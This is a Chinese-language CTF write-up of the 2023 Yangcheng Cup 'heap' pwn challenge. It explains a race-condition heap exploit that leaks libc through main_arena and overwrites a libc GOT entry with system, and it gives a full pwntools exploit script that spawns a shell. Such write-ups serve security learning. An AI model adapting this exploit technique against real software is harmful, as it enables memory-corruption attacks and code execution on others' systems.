2023羊城杯--pwn-heap复现

羊城杯–heap复现

​ 首先是学会了IDA怎么重定义类型来让堆块的创建变得好看。(真的可以使得看起来很舒服,感谢bilibili的师傅们)

​ 本题的利用是条件竞争堆,但是从其中学到了好多其他的调试及技巧。

​ main函数,创建了一个0x100的堆块,将各种数据的操作与传递都塞在了里面,并且不断创建。每次的创建进程及其他操作都是放在了子线程的堆里。

2023羊城杯--pwn-heap复现_第1张图片
​ strtok函数:

​ strtok函数会把字符串中要求检索的标识改为‘\0’(只找到第一个标识),并且内部指针指向’\0’,第二次若以‘0’开始,就会继续裁剪剩下的字符串。

​ 如上图的两次strtok达成的效果:3空格aaaaaa\n会被分解成3\0’ 和aaaaaa\0

free函数:
2023羊城杯--pwn-heap复现_第2张图片

在bss段中为main_arena_list,其中存了第一个子线程堆块的指引。

2023羊城杯--pwn-heap复现_第3张图片

show函数(改了名字是看的真舒服)
2023羊城杯--pwn-heap复现_第4张图片

edit函数

2023羊城杯--pwn-heap复现_第5张图片

关键是这里的sleep可以达成在进程间的延迟,从而达到竞争攻击的效果。

好,接下里看着脚本分析:

new("a"*0x62)
edit(0,"b"*0x60+"\xa0\x08")
delete(0)
new("a"*0x58)
new("a"*0x58)
sleep(2)
show(1)
r.recvuntil("paper content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219c80 #main_arena

要改后三位为8a0的原因是这样:

2023羊城杯--pwn-heap复现_第6张图片

先用arenas找到线程堆的起始部位,然后往下翻,直到它与数据域的交界处

找到这里,发现main_arena,利用它来泄露libc
2023羊城杯--pwn-heap复现_第7张图片

这里可以分别看到libc的载入基地址, 以及开了Pie的载入基地址,以此来达到寻找位置以及计算固定偏移的效果。这里可以分别看到libc的载入基地址, 以及开了Pie的载入基地址,以此来达到寻找位置以及计算固定偏移的效果。
2023羊城杯--pwn-heap复现_第8张图片

​ sleep(2)可以使得那个edit里的休眠结束,防止进程竞争发生意外。

这里把断点打到了show函数之后(放在前面会由于动调儿而导致进程切换出问题而无法正常达成条件竞争的输出)

​ 可以看到,配合new(0x62)或(0x68)以后,delete(这里仅仅是为了达成能够往下修改的效果),然后连续创建两个(0x58),可以覆盖0x60,然后刚好达到第二堆块的index_chunk区域,从而修改指针。
2023羊城杯--pwn-heap复现_第9张图片

这是连续创建了3个块,可以看出每一个块的结构(这是3个0x62)
2023羊城杯--pwn-heap复现_第10张图片

另:如果刚好满了,那个出现的24,25啥的会单独占据0x10(这个出现的原因从代码中找不到,它也没被用到,目前存疑)

再来一次0x62、0x60、0x60
2023羊城杯--pwn-heap复现_第11张图片

这也是为什么明明是0x58个数据,却要用0x60来填的原因。

另:关于更改index_chunk能够改变输出的原因:Index_chunk指向了数据域,按理说应该输出数据,但是如果改了,就会相应的更改其他位置。

​ 后续按照相同的方法更改strsok函数got对应的真实地址,但是由于strtok函数是由一个封装函数,所以直接更改了libc中相应函数的got表所对应函数
2023羊城杯--pwn-heap复现_第12张图片

可能发现用它的过程:从strtok的调用中,si进入发现got表跳转的第一个函数是它,然后用libc找到相应的位置,进行更改。

​ 期待师傅们的指正与交流。

总exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./heap')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def new(content):
    p.recv()
    payload = b'1 '+content
    sl(payload)

def show(index):
    p.recv()
    payload = b'2 '+index
    sl(payload)

def edit(index,content):
    p.recv()
    payload = b'3 '+index+b':'+content
    sl(payload)

def dele(index):
    p.recv()
    payload = b'4 '+index
    sl(payload)

new(b"a"*0x62)#0
edit(b'0',b'b'*0x60+b'\xa0\x08')
dele(b'0')
new(b'a'*0x58)#0
new(b'a'*0x58)#1
sleep(2)

show(b'1')

ru('content: ')
main_arena=u64(rc(6).ljust(8,b'\x00'))
print(hex(main_arena))
#gdb.attach(p)

libc_base = main_arena -0x219c80
libc=ELF("/home/kali/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")
system_addr = libc_base +libc.sym["system"]

new(b"a"*0x68)#2
edit(b'2',b'b'*0x60+p64(libc_base+0x219058-0x50))
dele(b'2')
new(b'a'*0x58)#2
new(b'a'*0x58)#3
sleep(2)

edit(b'3',b'b'*0x50+p64(system_addr))
sleep(2)

p.recv()
sl(b'/bin/sh')


p.interactive()

你可能感兴趣的:(windows,linux,学习)